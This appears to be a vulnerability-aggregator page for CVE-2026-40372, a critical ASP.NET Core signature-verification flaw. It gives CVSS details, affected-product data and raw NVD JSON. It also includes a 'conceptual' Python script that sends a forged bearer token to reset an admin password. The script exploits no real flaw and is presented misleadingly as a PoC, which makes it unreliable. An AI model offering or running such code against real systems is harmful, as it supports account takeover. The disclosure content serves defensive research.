Security Vulnerability Report
中文
CVE-2026-40372 CVSS 9.1 CRITICAL

CVE-2026-40372

Published: 2026-04-21 20:16:59
Last Modified: 2026-04-27 19:57:39

Description

Improper verification of cryptographic signature in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:* - VULNERABLE
ASP.NET Core (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target vulnerable ASP.NET Core endpoint # Note: This is a conceptual PoC. Actual exploitation depends on the specific implementation flaw. target_url = "http://target-vulnerable-app/api/admin/action" # Malicious payload attempting to elevate privileges by forging a signature or token # In a real scenario, this might involve a crafted JWT or a tampered ViewState/DataProtection payload headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json", # Example of a forged or weak authorization header that might bypass verification "Authorization": "Bearer FORGED_SIGNATURE_TOKEN_HERE" } data = { "command": "reset_password", "target_user": "admin", "new_password": "AttackerControlled" } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Privilege elevation may have occurred.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40372", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:16:59.133", "lastModified": "2026-04-27T19:57:39.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:asp.net_core:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.7", "matchCriteriaId": "001BC473-2D30-41BA-8E83-E80A22F519D3"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40372", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}